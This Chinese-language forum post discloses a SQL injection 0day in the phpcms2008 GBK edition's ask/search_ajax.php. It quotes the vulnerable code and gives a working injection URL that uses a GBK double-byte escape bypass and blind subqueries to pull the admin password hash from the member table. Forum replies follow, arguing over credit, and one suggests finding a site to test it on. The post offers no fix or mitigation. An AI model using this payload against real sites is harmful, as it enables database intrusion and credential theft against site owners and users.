phpcms2008 GBK 双字节编码 0day ask/search_ajax.php
作者:幻泉[B.S.N]
受影响程序: phpcms2008 gbk
漏洞文件:ask/search_ajax.php
漏洞等级:高
漏洞说明:
/ask/search_ajax.php
Code:
if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
/ask/include/answer.class.php
Code:
function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
测试方法:
/ask/search_ajax.php?q=s%D5’/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23
消灭0回复先
我晕 这是我在黑防发布的怎么成nuke的了呢
http://sites.google.com/site/bsnguanzhujiaobenanquan/
抱歉,我是在nuke那里看到的,他那里没有写作者是谁,我还以为是他发的,所以就写他名字了。已经修改过了。
呵呵,找个网站测试下
呵呵 没关系 主要是没打算公布出来 本来发到黑防的原创区
跟作者分享的,不知道谁给公布出来的,但是还是鄙视下公布出来不写转载的xx人
都是大佬们呀